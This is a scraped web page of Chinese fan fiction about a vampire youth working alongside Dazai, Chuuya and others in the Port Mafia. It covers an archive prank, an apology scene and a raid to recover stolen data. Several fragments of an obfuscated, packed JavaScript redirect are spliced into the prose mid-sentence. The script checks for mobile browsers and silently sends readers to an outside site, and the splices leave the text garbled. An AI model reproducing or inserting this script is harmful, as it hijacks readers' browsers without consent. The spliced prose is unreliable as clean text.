随即,一种极其古怪的、压抑不住的震动从她喉咙深处传来。 她用宽大的振袖掩住下半张脸,但微微耸动的肩膀和那双弯成了月牙的金眸,都泄露了她此刻的心情。 “噗……咳咳……”她终究是没忍住,发出一声短促的、带着笑意的轻咳,连忙调整呼吸,才勉强维持住优雅的姿态。 她放下袖子,眼角眉梢的笑意却更深了,带着一种洞悉一切的狡黠和……毫不掩饰的幸灾乐祸? 随后,她重新看向菲那恩,那眼神像是在看一只被狡猾狐狸骗得团团转、还一本正经帮狐狸数松果的傻兔子。 不过话又说回来,菲那恩君完全算得上“古人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337551|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”吧?不知道这些逻辑关系也情有可原吧。 “地下……排水系统?”尾崎红叶的声音带着一丝奇异的飘忽,每个音节都像裹着糖霜的羽毛,轻轻搔刮着空气,“关乎组织‘未来大计’的……绝密会议?” 她故意重复着菲那恩的话,语气微妙。 菲那恩被她笑得有些莫名其妙,蹙了蹙眉,露出小动物般困惑的眼神。 “啊啦……”尾崎红叶拖长了调子,金眸流转,带着一种近乎怜悯的、却又充满恶趣味的光芒,“太宰君他……还真是……一如既往地会‘物尽其用’呢。” 她向前一步,微微倾身,靠近菲那恩耳边,用只有两人能听到的、如同私语般的轻柔声音道: “小菲那恩,”那亲昵的称呼带着一丝调侃的宠溺,但更像是在宣告一个残酷的事实,“别什么都相信太宰君哦,不然会被他欺负得很惨哦。” 菲那恩的身体瞬间僵住,“什……什么?” 他血色的眼眸里充满了纯粹的困惑,有点不明白尾崎红叶话语中的深意。 太宰治……欺负他? 菲那恩的脑海中迅速闪过太宰治的样子:那个对他在拍卖场的无礼而道歉、给他提供食物和住处(虽然衣柜有点小)、在他痛苦时提供血液、早上还给他做早餐(虽然有点凶)、现在又委以他“关乎组织未来”重任的人类…… 虽然有时候有点莫名其妙,但……菲那恩认真地想了想,然后坚定地摇了摇头,粉色长发随着动作轻轻晃动。 “不会的。”菲那恩的声音很清晰,带着笃定。 “太宰君……其实只是……有时候有点喜欢恶作剧?”菲那恩不太确定地用了个比较温和的词。 尾崎红叶看着菲那恩那双写满了认真的赤红眼眸,一时间竟有些无言以对。 这孩子……真是…… 她金色的眸子里那丝戏谑的笑意更深了,几乎要满溢出来,但同时也带上了一丝更深的、难以言喻的玩味。 这种近乎顽固的信任和纯然的好感……在港口Mafia,尤其是对着太宰治,简直是比血族本身还要稀有的存在。 尾崎红叶眼眸里闪烁着洞悉一切的光芒,语气恢复了那份雍容的淡然:“你说的对,太宰君毕竟是你的直属上司,他布置的任务,自然有他的……道理。” 她优雅地用指尖轻轻点了点那本文件夹,“身为新人的第一份‘重要工作’,菲那恩君认真完成其实也很好哦?” 她欠了欠身,红唇勾起一个完美的弧度,“那么,妾身还有要事在身,就不打扰菲那恩君完成‘重要工作’了。” 她不再停留,宽大的红白振袖如同翩跹的蝶翼,优雅地转身,踩着木屐,发出清脆的“嗒、嗒”声,消失在档案室走廊的拐角处,只留下一缕淡淡的、高级熏香的余韵。 菲那恩愣在原地,看着尾崎红叶消失的方向,随即又低头看了看怀里的文件夹,继续朝着记忆中太宰的办公室走去。 他刚转过一个拐角,一个低沉的、带着点不耐烦的声音响起:“喂!那边的粉毛!” 菲那恩抬头,只见中原中也正大步流星地迎面走来,钴蓝色的眼睛落在他身上,眉头习惯性地微蹙着,但眼神却不像初见时那样充满审视和敌意,反而带着点……探究? 是那个打伤他的很厉害的人类……! 菲那恩不由自主地警惕了起来。 15. 摸摸头 “你是长得很矮、品味很奇怪的、戴着帽子的中原中也。”菲那恩眼神一沉,低声道。 “……哈?”中原中也并不在意菲那恩的直呼全名,但前面那一长串形容让他火大,不用猜,他都知道是谁的手笔,“喂,一定是太宰教你的吧?!” 菲那恩震惊,眼里写满了“你怎么知道”,他的目光落在中原中也的帽子上,表情微妙道:“今天的帽子……也很适合你?” 中原中也心情肉眼可见地好了起来,“哦?!真的吗?!我也觉得今天的帽子特别帅气!” 菲那恩在心里抹了一把汗。 竟然……都被太宰预料到了…… 中原中也走到菲那恩面前,目光扫过对方怀里的旧文件夹和袖口的灰尘,清了清嗓:“你刚刚……在档案室折腾什么?” 中原中也的语气依旧直接,但少了些火药味,更像是一种随口的询问。 “……是太宰交代的任务。”菲那恩都不太想说这是任务。 中也闻言,心里大概明白了八九分。 他啧了一声,抬手压了压自己的帽檐,眼神有些游移,似乎在斟酌词句。 “咳,”中也清了清嗓子,声音比平时低了些,带着点不易察觉的别扭,“那个……之前在拍卖行……抱歉。” 他飞快地瞥了菲那恩一眼,又迅速移开目光,帽檐遮住了他大半表情,“我当时……呃,总之,下手重了点。” 语气虽然生硬,但那份歉意却是实打实的。 菲那恩彻底愣住了。 他没想到这位看起来脾气火爆、一言不合就动手的重力使,居然会主动为前几天的事道歉。 明明当时大家的立场本就不同…… 但那钴蓝色眼睛里的别扭和真诚,与太宰治那总是带着算计和恶趣味的鸢眸截然不同。 一种奇异的暖流,也让他的心稍微软化了一点。 “……你那明明是下了死手的。”菲那恩别过脸,声音带着点不自然的别扭,说话都结巴了,“不过区区……人、人类的一击,怎么可能……影响到我!” 说完他又顿了顿,似乎觉得这样说不太好,又小声补充了一句,“……不过,你的道歉,我接受了。” 中原中也好像松了口气,“没事就好。” 他摆摆手,又上下打量了菲那恩一眼,“喂,在这里待得还习惯吗?太宰那混蛋……没太欺负你吧?”最后一句问得有点犹豫,眼神却带着点直率的关心。 “嗯?太宰不会欺负我的。”菲那恩感觉莫名其妙,他归结为太宰风评不太好。 菲那恩看着中也眼中那抹别扭但纯粹的关心,突然就明白了一件事。 ——这位重力使貌似也是个热心肠的人。 菲那恩想了想该如何称呼中原中也,“谢谢中原……的关心?” 中原,类比对太宰治的称呼为“太宰”。 “哈?”中原中也皱眉,很少会有人称呼他的姓氏,“叫我中也就行,反正我也不期望你会加上敬称。” 菲那恩眨了眨眼睛,点了点头,“中也。” 中原中也钴蓝色的眼睛闪过一丝不自在,又抬手压了压帽檐:“……嗯,有什么麻烦,可以找我,毕竟都是同事。” 说完,他似乎觉得这话有点太“温和”了,立刻又板起脸补充道,“当然,前提是别给我惹麻烦!走了!” 他转身,快步离开了。 菲那恩抱着文件夹,看着中也消失的背影,在原地站了一会儿,嘟囔道:“奇怪的人类……” 办公室里的太宰治,正支着下巴,百无聊赖地转着笔,鸢色的眼眸里带着一丝恶劣的期待,想象着菲那恩在灰尘漫天的档案室里灰头土脸、或者在路上碰上好心人发现自己被耍了后气鼓鼓跑回来质问他的样子。 听到开门声,他懒洋洋地抬起眼皮,目光精准地落在菲那恩怀里的蓝色文件夹, 最后定格在对方那张没有丝毫怨气,反而带着一种奇异的专注的精致脸庞上。 “太宰,”菲那恩走到自己的小长桌前,赤红的眼眸亮晶晶地看着太宰治,语气认真无比,“资料找到了,我现在就开始誊抄,绝不耽误下午的绝密会议。” 太宰治:“……” 他转笔的动作停住了,鸢色的眼眸定定地看着菲那恩那张写满“我超认真完成任务快来夸我”的脸。 空气仿佛凝固了几秒。 一丝极其罕见的、名为“无语凝噎”的情绪,悄然爬上了太宰治的心头。 ……这家伙,到底是怎么活了几百年的? 不,倒不如说……其实也不是特别意外…… 菲那恩拉开椅子坐下,翻开那本破旧的蓝色文件夹,里面是密密麻麻、字迹模糊、甚至带着霉点的数据表格和报告。 他拿起旁边准备好的崭新稿纸和钢笔,深吸一口气,开始一个字一个字地誊抄。 其实这些日文他根本看不懂多少,能听懂已经很莫名其妙的buff了,再加上字迹不清,抄起来难上加难。 但是他的动作带着一种近乎刻板的认真,腰背挺得笔直,粉色的长发垂落颊边,侧脸线条紧绷。 太宰治看着他这副强撑着认真工作的样子,鸢色的眼眸深处闪过一丝极其愉悦的“大仇得报”的光芒。 他不再说话,也拿起一份文件翻看,办公室里只剩下钢笔划过纸张的沙沙声,以及菲那恩偶尔因为辨认不清字迹而发出的、几不可闻的懊恼轻哼。 时间在沉默和无声的较劲中缓缓流逝,窗外的阳光变得柔和,最终染上了黄昏的金红色。 菲那恩那份属于血族的精力,早已被枯燥的誊写、强撑的精神和腹中的饥饿感消耗殆尽。 钢笔尖在纸上移动的速度越来越慢,眼皮也越来越沉,像坠着千斤的铅块。 他努力想撑开,血色的瞳孔失焦了一瞬,又顽强地凝聚起来,然而那份凝聚也只持续了短短几秒。 终于,在艰难地辨认完一个模糊的数字,将它工整地抄写到新稿纸上后,那根紧绷到极限的弦,“嘣”地一声,彻底断了。 菲那恩的头一点、一点地垂了下去。 先是粉色的、柔软的发顶,轻轻地触碰到了冰凉的桌面。 接着,是光洁饱满的额头。最后,是带着点婴儿肥、触感冰凉细腻的左边脸颊。 他整个人像是被抽走了所有的支撑,软软地、毫无防备地侧趴在了那堆尚未誊抄完的稿纸和那本旧文件夹上。 粉色的长发如同散开的华丽绸缎,铺满了桌面,有几缕还调皮地盖住了他刚写下的字迹。 长长的、浓密的白色睫毛在眼下投下两弯安静的、小小的阴影,随着平稳而微弱的呼吸,极其轻微地颤动着。 世界彻底安静了下来,只剩下那微弱得几乎听不见的、绵长的呼吸声。 太宰治不知何时停下了手中的动作。他抬起头,目光落在对面那个毫无防备、累得直接睡过去的身影上。 窗外,夕阳的余晖透过没拉严的窗帘缝隙,在地板上投下最后几道温暖的光带。 太宰治脸上的所有表情——戏谑的、掌控的、带着恶趣味的——如同潮水般褪去,只剩下一种近乎空白的平静。 突然,他站起身,动作轻得如同幽灵,没有带起一丝空气的流动,绕过巨大的红木办公桌,走到菲那恩身边。 阴影笼罩下来,将菲那恩完全包裹。 他低头看着那张陷在文件堆里的睡颜。 粉色的发丝有几缕被他自己压在了脸颊下,显得有点凌乱。 闭上了那双情感丰富的血色眼眸,此刻的他不像是童话里极恶的吸血鬼,反而安静得像个不谙世事的孩子,精致,脆弱,毫无威胁。 太宰治静静地看了很久,鸢色的眸子里沉淀着某种难以解读的、幽深的光。 时间在寂静中流淌。 片刻后,他鬼使神差一般,缓缓地、试探性地伸出手。 修长、骨节分明的指尖,带着一丝微不可查的迟疑,最终轻轻地落在了菲那恩那头手感极好的粉色长发上。 触感冰凉柔顺,如同最上等的东方丝绸,带着生命特有的微微弹性。 太宰治的手指停顿了一下,仿佛在确认这奇异的触感。 然后,他像是被某种无形的丝线牵引着,开始用指尖,极其缓慢地、带着一种近乎笨拙的轻柔,一下,又一下地,揉着菲那恩的脑袋。 动作生涩,却小心地避免弄醒对方。 粉色的发丝在他指缝间无声流淌。 “我是疯了吗……”一声极轻、极低的呢喃,如同叹息般从太宰治唇边逸出。 那声音里没有了平日的讥诮和恶意,只剩下……迷茫和不敢相信。 窗外的最后一丝余晖也沉入了地平线,办公室彻底陷入一片温柔的黑暗。 那修长的手指在粉色发丝间停留了片刻后,太宰治猛地收回了手,像被无形的火焰烫到。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337552|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他鸢色的眼眸在昏暗中闪过一丝极其复杂的情绪,快得如同幻觉,随即被惯常的淡漠覆盖。 他低头又看了一眼菲那恩沉睡的侧脸,那张毫无防备的睡颜在黑暗的剪影中显得格外脆弱。 他无声地后退一步,动作依旧轻得没有发出丝毫声响,仿佛从未靠近过。 时间在死寂的黑暗中悄然流逝。 菲那恩是被一阵强烈的饥饿感和颈部的僵硬感唤醒的。 他迷迷糊糊地睁开眼,赤红的眼眸在黑暗中微微泛着光,带着初醒的茫然。 “唔……”他发出一声细微的呻吟,动了动僵硬的脖子,脸颊离开了冰冷坚硬的桌面。他揉了揉被压出红印的脸颊,茫然地环顾四周。 一片漆黑。 绝对的、纯粹的黑暗,窗帘紧闭,没有月光,没有灯光。只有他吸血鬼的视力,能勉强勾勒出巨大办公桌、书柜、沙发模糊的轮廓。 办公室里……空无一人。 “太宰?”菲那恩试探性地叫了一声,声音在空旷寂静的房间里显得格外清晰,又迅速被黑暗吞噬,没有回应。 他站起身,走到太宰治那张巨大的办公桌前——那里空空如也,文件被整齐地收走了,连钢笔都放回了笔筒。 菲那恩眨了眨赤红的眼睛,脸上是纯粹的、大写的茫然。 人呢? 刚才……不是还在吗? 他还记得自己睡着前,太宰治明明就在对面看文件的…… 他走到门边,拉开厚重的实木门。 外面走廊的应急灯散发着幽绿色的、微弱的光芒,勉强照亮一小片区域。 走廊同样空旷死寂,听不到任何脚步声或人声,只有远处不知道哪个机房传来的、极其微弱的设备嗡鸣。 整栋港口黑手党总部大楼,仿佛一座巨大的、沉睡的钢铁坟墓。 除了必须的守夜人员和监控室,几乎所有人都离开了。 菲那恩站在门口,粉色的长发在幽绿的光线下显得有些诡异。 他赤红的眼眸里充满了巨大的问号。 太宰治……自己回去了? 没叫他? 就这么……把他丢这儿了? 菲那恩回到办公室,重新坐回自己的小长桌前。 他打开桌上的台灯,暖黄色的灯光瞬间驱散了一小片黑暗。 灯光下,那本破旧的蓝色文件夹和旁边厚厚一沓誊写得工工整整的稿纸,此刻看起来……嗯,就是一堆纸。 他拿起自己誊抄的那叠纸,翻了两下。 那些他看不懂的、歪歪扭扭的日文字符,在他眼里就像一堆意义不明的符号组合。 他努力回忆了一下下午誊抄时的“认真”状态,再看看眼前这厚厚一沓成果,脑子里只有一个念头:所以……我抄这个……是为了啥? 腹中的饥饿感在寂静中被无限放大,如同无数细小的虫蚁啃噬着他的胃壁。 那是对太宰治血液的、深入骨髓的渴望。 这渴望因为此刻的懵逼和“我是谁我在哪”的茫然,变得格外清晰和……有点烦人。 他想了想,还是把那叠誊抄好的稿纸仔细整理好,边缘对齐。 又把那本破旧的蓝色文件夹放在最上面,整整齐齐地、端端正正地摆在了长桌中央最显眼的位置,正对着太宰治空荡荡的座椅方向。 做完这一切,他看着那叠文件,又看看空椅子。 这流程……好像应该是这样做的?虽然不知道有什么用。 关掉台灯。 办公室再次陷入彻底的黑暗。 菲那恩没有离开。 他蜷缩在冰冷的办公椅上,抱着膝盖,将下巴抵在膝盖上。樱粉色的和服在黑暗中像一团模糊的粉影。 赤红的眼眸在黑暗中如同两颗困惑的红宝石,一眨不眨地盯着桌面上那叠摆放得过于整齐、在他视野里清晰无比的文件。 刚睡醒的菲那恩脑子神清气爽,思考问题的速度更快了。 太宰治没带走它们。 所以……他让我抄这个……到底是为了什么? 难道……就是为了看我抄? 或者……是为了让我睡着? 菲那恩的思维开始往奇怪的方向发散。 眼前这个情况……他有点看不懂。 菲那恩叹了口气,“人类真难懂。” 远在公寓的太宰治狠狠打了一个喷嚏,顿感一阵恶寒。 16. 信息盗取 港口Mafia,深夜。 一名穿着港口Mafia底层巡逻人员制服的男人,眼神闪烁,动作鬼祟地利用权限漏洞,潜入了一间防守相对薄弱的资料中转室。 他心跳如鼓,快速破解了一个加密硬盘,将数据下载到一个特制的便携存储器中。 完成后,他迅速消除访问痕迹,如同融入阴影的老鼠,悄无声息地消失在错综复杂的通道里,与外部接应的组织成员汇合。 …… 公寓客厅里。 菲那恩蜷缩在沙发上,怀里抱着一个软垫,赤红的眼眸一眨不眨地盯着屏幕,里面正播放着一部经典的推理电影。 屏幕上,那位戴着猎鹿帽、叼着烟斗的传奇侦探,正用他那标志性的、快得让人跟不上思路的语速,条分缕析地揭穿凶手的完美犯罪,每一个细节都成为他逻辑链条上不可或缺的一环。 “好厉害……”菲那恩喃喃自语,指尖无意识地抠着软垫的绒毛,“为什么他看一眼就知道那么多?” 太宰治正懒洋洋地瘫在旁边的单人沙发里,手里依然拿着那本不知道看了多少遍的完全自杀手册。 他心不在焉地翻着,闻言掀了掀眼皮,瞥了一眼屏幕。 “啊,那个啊……”他拖长了调子,声音懒散,“电影里都是骗小孩的啦,现实中这么厉害的侦探可是凤毛麟角,而且,电影里的推理其实很简单——” 他伸出食指,晃了晃:“——基本上,只要记住‘出现了的剧情就很有可能跟案件有关’这个万能法则,然后再稍微动动脑子,把那些看似无关的细节强行……嗯,或者说‘巧妙’地串联起来,就能得出一个看起来很高深的结论了。” “说白了,就是编剧和导演在牵着观众的鼻子走。” 菲那恩转过头,若有所思地看着太宰治,红眸里带着明显的困惑:“强行……串联?” “嗯哼,”太宰治合上书,似乎来了点兴致,坐直了一些,“比如,你看,镜头特意给了一个花瓶特写,那这个花瓶要么是凶器,要么里面藏了钥匙,要么它的摆放位置暗示了时间……总之,它肯定有问题,不然导演拍它干嘛?浪费胶片吗?” 他耸了耸肩,“所以啊,看起来复杂的推理,拆穿了也就是这么回事。” 菲那恩似懂非懂地点了点头,好像明白了什么。 出现了的,就是有用的。 这时,太宰治的手机响了。 他拿起一看,来电显示的那个名字让他眼神一凛。 “我有点事。”他站起身,随意地把书扔回沙发,趿拉着拖鞋走向自己的房间,“你自己慢慢看吧,小侦探。” 房门轻轻关上,客厅里只剩下电影的背景音乐和人物对白。 菲那恩重新将注意力集中到电影上。 剧情已经推进到了尾声,真凶被揭露,在绝对的证据和逻辑面前瘫软认罪。 众人一片欢呼,赞叹着侦探的智慧。 这时,屏幕上,那位一直协助侦探、明显对侦探抱有好感的女主角,脸上带着羞涩的红晕,慢慢地走上前。 她突然踮起脚尖,快速地、轻轻地在侦探的脸颊上吻了一下。 侦探明显愣了一下。 女孩低下头,声音细若蚊呐,却充满了真挚的情感:“这、这是对您的感谢……以及……我的……喜爱。” 镜头特写停留在侦探微微怔忡、继而露出一丝温和笑意的脸上。 电影在一片温馨浪漫的氛围中落幕,演职员表开始滚动。 菲那恩却依旧保持着原来的姿势,愣愣地看着已经变暗的屏幕,赤红的眼眸里充满了新奇和……领悟。 ……表达感谢和喜爱的时候……就要吻脸? 像这样? 他下意识地抬起手,用手指轻轻碰了碰自己的脸颊,仿佛在模拟那个触感。 原来人类是用这种方式来表达强烈正面情绪的? 学到了。 他摸着下巴,将这条“新知识”郑重地收录进他对人类行为的、尚且贫瘠的理解库中。 就在这时,太宰治的房门猛地被打开。 刚才还一脸慵懒的青年此刻面色严肃,甚至带着一丝罕见的凝重。 他手里拿着仍在通话中的加密手机,快步走到菲那恩面前,鸢色的眼眸里没了平时的戏谑,只剩下冰冷的锐利。 他直接按断了电话,沉声道: “菲那恩,准备一下,首领紧急传唤——” 他的声音顿了顿,加重了语气, “——出大麻烦了。” 菲那恩还沉浸在“人类表达喜爱方式”的新知识里,一时间没能反应过来,只是下意识地坐直了身体,怀里的软垫掉在了地上。 太宰治没有给他发呆的时间。 他快步走到菲那恩面前,高大的身影投下一片阴影,平日里总是漫不经心的鸢色眼眸此刻锐利如刀,紧紧锁住菲那恩那双还带着些许茫然的赤红眼睛。 “听着,菲那恩,没时间发呆了。”太宰治的声音压得很低,语速快而清晰,带着不容置疑的严肃,“港口Mafia内部出了严重的问题——我们所有核心异能者的能力信息,包括弱点、使用条件、战斗习惯……可能都被泄露了。” 菲那恩眨了眨眼,似乎还在消化“信息泄露”这个词的含义。 他对人类组织的运作方式依然一知半解。 太宰治看出了他的困惑,啧了一声,换了一种更直白、更血腥的方式解释:“简单来说,就像有人把我们所有人的底牌,甚至是把心脏的位置和怎么捅最致命,都画成了详细的地图,卖给了我们的敌人。” 他无奈扶额,“你知道这意味着什么吗?” 菲那恩的瞳孔微微收缩。 他虽然不完全懂组织运作,但他懂“弱点”和“致命”。 “意味着,每一个在外执行任务的成员,都可能因为能力被提前知晓而遭到精准伏击,甚至……被活捉。”太宰治的声音冷得像冰。 菲那恩见过死亡,见过背叛,见过人类是如何轻易地毁灭他们所恐惧的事物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337553|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他太清楚,当弱点被赤裸裸地暴露出来时,会招致怎样精准而残酷的打击。 ——有人想要毁掉港口mafia。 他不允许。 “而且,菲那恩,”太宰治继续说道,语气变得更加沉重,他紧紧盯着菲那恩的眼睛,一字一句地说道,“根据目前的情报,被泄露的信息里……包括你的。” 菲那恩的身体几不可查地僵住了。 太宰治继续说道:“虽然不一定很详细,但由于你苏醒那一天在拍卖场动静闹得太大了,港口mafia已经尽力封锁消息,但‘疑似古老血族的粉发少年’——这样的描述,很可能已经摆在某些人的桌子上了。” 太宰治的声音里带着一丝不易察觉的冷厉,“这意味着——从现在开始,某些对我们、或者说对港口Mafia感兴趣的组织或个人,很快就会注意到你,他们会好奇你的能力,你的弱点,你的……价值。” 一种毛骨悚然的危机感顺着菲那恩脊椎爬升。 这不再仅仅是港口Mafia的麻烦,这直接成了他的麻烦。 赤红的眼眸中,最后一丝茫然彻底消失,取而代之的是一种沉淀了数百年的、属于猎食者的冰冷杀意和威严。 周遭的空气似乎都因他散发出的寒气而凝滞了几分。 “我明白了。”菲那恩的声音低沉而平静,却带着一种不容错辨的寒意,“找出他们,然后,处理掉。” 太宰治看着眼前气质骤变的吸血鬼,鸢色的眼眸深处闪过一丝极淡的、难以捕捉的情绪——或许是惊讶,或许是……别的什么。 港口Mafia顶层,首领办公室。 办公室里不只有菲那恩和太宰治,还有中原中也和广津柳浪。 森鸥外看着屏幕上中断的监控画面和触发的数据泄露警报,脸上是一种冰冷的、令人胆寒的威严,眸中闪过一丝凌厉的杀意。 他的目光锐利地扫过面前四人。 “太宰,”他首先看向那双鸢色的眼眸,“我需要你潜入他们的通讯网络,远程指挥,提供实时情报支援,并确保核心数据能被完整取回——你是这次行动的大脑,担任任务小队长。” “了解~”太宰治嘴角勾起一抹没什么温度的笑意。 “菲那恩君,”森鸥外的视线转向安静的吸血鬼,“你的任务是确保太宰的行动不受干扰,保护他,清除任何可能威胁到他安全的因素。” 菲那恩微微颔首。 “中也,”森鸥外看向中原中也,“正面突破,火力压制,以最快速度控制现场,必要时……允许彻底清除。”话语中的血腥味毫不掩饰。 “正合我意!”中原中也咧开一个充满战意的笑容,捏紧了拳头。 “广津先生,”最后,他看向最沉稳的黑蜥蜴百人长,“带领你的部队,负责外围清剿、区域控制和后续扫尾工作,确保没有漏网之鱼,切断一切可能的退路。” “谨遵您的命令,首领。”广津柳浪沉稳应声,微微躬身。 “——行动。” 17. 狄克拉之银 数辆黑色轿车如同暗夜的幽灵,无声地滑入港区指定集结点。 车门纷纷打开,众人鱼贯而出。 夜晚的海风带着咸腥和寒意吹拂而来。广津柳浪,这位无论何时都衣着得体如同老派绅士的黑蜥蜴百人长,率先下车,微微整理了一下毫无褶皱的西装袖口和白色手套,沉稳锐利的目光如同探照灯般扫过昏暗的码头环境,迅速评估着现场。 他的视线自然地落在了那位新面孔——菲那恩身上。 少年穿着合身的粉色和服,衬得皮肤愈发苍白,长发束在脑后,脸上没什么表情的时候,看起来就像一个精致得过分的洋娃娃。 广津柳浪心中暗忖。 一双赤红的眼眸在夜色中显得格外醒目,正安静地站在那里。 这就是那位新加入的……异能者少年? 首领让他参与这种级别的行动,是异能非常特殊吗? 看起来年纪不大…… 广津柳浪开口嘱咐一句,“请务必小心,别受伤了,菲那恩君。” 正在发呆菲那恩闻言回神,面前这个老绅士,他……不认识。 他平时大多数时候只跟太宰主动说话,话也稍微多一点。 但是广津柳浪这种带着善意的、长辈般的提醒,让菲那恩顿时有些无措,强装镇定地点了点头。 突然,菲那恩的目光倏然被什么吸引了过去。 广津柳浪顺着菲那恩的视线望去—— ——是太宰治。 那位年轻的干部正靠在另一辆车旁,低头快速操作着加密平板,屏幕的冷光映照着他轮廓分明的侧脸和缠着绷带的脖颈。 他神情专注,嘴角却依旧噙着那抹惯常的、令人捉摸不透的浅淡弧度,仿佛周遭的紧张气氛与他无关。 太宰治突然开口,打破了寂静,对中原中也说道:“中也,带人正面强攻,动静越大越好,把他们的大部分火力都引到你那边。” “哈?又让我当诱饵?”中原中也不满地啧了一声,但还是捏紧了拳头,周身泛起暗红色的重力异能光芒。 “因为你最擅长这个嘛~”太宰治敷衍地回了一句,目光转向菲那恩,“菲那恩,跟我来。” “好了~”太宰治语气轻松得像是在宣布游戏开始,“敌人们的位置锁定了,就在三号仓库深处,通讯频道已加密接入,各位,行动吧。” 广津柳浪沉稳颔首,随后一挥手,黑蜥蜴成员如同融入夜色的影子般悄无声息地散开。 太宰治和菲那恩借着中原中也在正门制造的巨大爆炸和轰鸣声的掩护,从仓库侧翼一个不起眼的通风口潜入。 太宰治轻易地破解了外围的电子锁,潜入目标建筑。 菲那恩紧随其后,他的动作轻盈得不可思议,赤红的眼眸如同最精准的探测器,扫视着每一个角落。 “左转,有两个巡逻。”太宰治的声音通过微型通讯器传入菲那恩耳中,低沉而清晰。 菲那恩甚至没有回应,身影如同鬼魅般掠出,黑暗中只传来两声极其轻微的闷响,以及身体软倒的声音。 他下手精准而利落,没有一丝多余的动作。 太宰治回头瞥了一眼,恰好看到菲那恩为了避开一个突然转动的监控探头,身体以一个极其柔韧的姿势向后弯折,轻松躲过了扫描范围。 “……哦呀?”太宰治鸢色的眼眸里闪过一丝真实的惊讶,他压低声音,“菲那恩君,你身体的柔韧性……这么好的吗?” 那种程度的下腰,即使是经过严格训练的体操运动员也未必能做得如此轻松。 菲那恩站直身体,拍了拍和服上不存在的灰尘,点了点头,“我的身体天生比较柔软,可以很轻易地摆出想要的姿势。” 太宰治挑了挑眉,没再说什么,只是眼底的兴趣更浓了几分。 两人继续深入,菲那恩如同最高效的清道夫,精准地清除掉沿途所有的明哨暗岗,为太宰治开辟出一条绝对安全的道路。 终于,他们抵达了情报中提到的核心控制室外。 太宰治对菲那恩使了个眼色。 菲那恩会意,指尖微动,控制室厚重的金属门锁内部传来一声极其细微的、如同冰晶碎裂般的声响——他从内部用血族能量破坏了锁芯。 随即,他猛地拉开门,身影如电闪入。 控制室内的人甚至没来得及反应,就被一道粉色的残影瞬间击晕。 另一个试图去按警报的人,手腕被菲那恩毫不留情地踩住,发出了痛苦的闷哼。 人类的速度对于他来说实在太慢了。 太宰治快速坐到主控台前,手指在键盘上飞舞,屏幕上的代码如同瀑布般流下。 “唔……加密方式还挺别致。”太宰治嘴角勾起一抹兴味的弧度,但眼神却冰冷无比,“不过,也就这种程度了。” 几分钟后,他成功突破了防火墙,找到了被窃取的数据流。 然而,他的眉头却微微皱起。 “不对劲……”他喃喃自语,“数据传输的优先级和目的地址……很奇怪。” 他起身,踱步靠近,看着被菲那恩死死按在地上的那个似乎是头目的男人,脸上带着没什么温度的笑意。 “晚上好呀~”他蹲下身,语气轻快,内容却冰冷刺骨,“我们来玩个问答游戏怎么样?信息,泄露了多少?卖给谁了?撒谎或者犹豫,后果自负。” 那个男人脸上满是惊恐和冷汗,嘴唇哆嗦着:“我、我说!别杀我!买家身份不明!他……其实只指定要那个粉头发少年的情报!说可能是古老的吸血鬼……其他的、其他异能者的信息是我们自作主张偷偷拷贝的,想……想多卖点钱……还没来得及联系其他买家……” 太宰治的瞳孔几不可查地收缩了一下。 他最担心的事情还是发生了。 菲那恩看着看向太宰治,忽然开口:“太宰,他们……只想要我的情报?” “啊,是啊。”他扯出一个有些复杂的笑,“看来我们菲那恩,比想象中还要受欢迎呢。” 就在此时,控制室内突然响起刺耳的警报声,红色的警示灯疯狂闪烁。 “警告!自毁系统已启动!倒计时六十秒!” “警告!所有出口已强制锁定!” “啧,麻烦。”太宰治迅速回到控制台,尝试中断自毁程序,但系统已经被完全锁死。 太宰治啧了一声,但脸上不见丝毫慌乱,飞快地将那个存储着所有被盗数据的特制存储器拔下,塞进口袋。 菲那恩的注意力因为这突如其来的警报打乱,目光短暂地移开,看向了太宰治。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337554|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在这百分之一秒的疏忽间。 